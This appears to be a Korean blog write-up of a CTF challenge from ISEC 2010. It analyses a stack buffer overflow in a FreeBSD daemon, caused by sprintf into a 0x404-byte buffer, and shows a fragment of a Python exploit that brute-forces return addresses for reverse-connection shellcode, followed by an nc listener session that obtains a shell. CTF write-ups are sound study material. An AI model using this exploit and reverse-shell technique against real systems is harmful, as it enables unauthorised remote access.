NULL |
Summary : simple remote buffer overflow Binary Info.
[pwn3r@localhost skeleton]$ file skeletond skeletond: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.1, not stripped |
Connect to server
[pwn3r@localhost skeleton]$ nc 192.168.123.129 8888 Memo: pwn3r OK!,pwn3r ( |
stripped 되지않은 FreeBSD 8.1의 바이너리이다. 서버에 접속해보면 , 서버에서 Memo라는 문자열을 전송해준후 , 데이터의 수신을 기다린다. 그리고 데이터를 전송받으면 "OK!," 뒤에 문자열을 붙여서 다시 전송해준다.
client가 접속하면 실행되는 client 함수를 살펴본다. Hex-Ray를 이용하면 편리하게 분석할 수 있다.
signed int __cdecl client(int client_fd) memcpy(&small_buf, "Memo: ", 7u); |
"Memo"라는 문자열을 전송해주고 최대 0x800byte만큼의 데이터를 받는데 , 이 데이터를 0x404byte의 변수에 sprintf함수를 수행하기때문에 overflow취약점이 발생한다.
상당히 큰 size의 데이터를 전송받는데다가 서버바이너리의 역할도 단순하기때문에 , 단순히 많은 nop와 리버스커넥션 쉘코드를 넣어주고 리턴어드레스를 쉘코드의 주소로 바꿔주도록 한다.
exploit.py |
#!/usr/bin/python from socket import * HOST = "192.168.123.129" for ret in range(0xbfbfffff , 0xbfbf0000 , -300): |
[pwn3r@localhost skeleton]$ ./exploit.py & nc -lv 4444 [1] 8937 Connection from 192.168.123.129 port 4444 [tcp/krb524] accepted id uid=1007(skeleton) gid=1007(skeleton) groups=1007(skeleton) ls -l total 24 -r-------- 1 skeleton skeleton 33 Sep 12 11:48 key -rwxr-xr-x 1 skeleton skeleton 9900 Sep 12 09:34 skeletond |
Pwned :)
p.s. ISEC2010때 본선가셨던분께 얻은 문제바이너리를 풀어본것입니다 (제가 가서풀었던거 쓴게아닙니다 :)
'CTF' 카테고리의 다른 글
2011 Holy-Shield Hacking Festival Report (4) | 2011.11.29 |
---|---|
ISEC 2010 본선 CTF - sonic (0) | 2011.10.14 |
HDCON 2011 본선 CTF - lucky (4) | 2011.10.13 |
2011 HUST Hacking Festival - M (0) | 2011.10.03 |
2011 HUST Hacking Festival - K (0) | 2011.10.03 |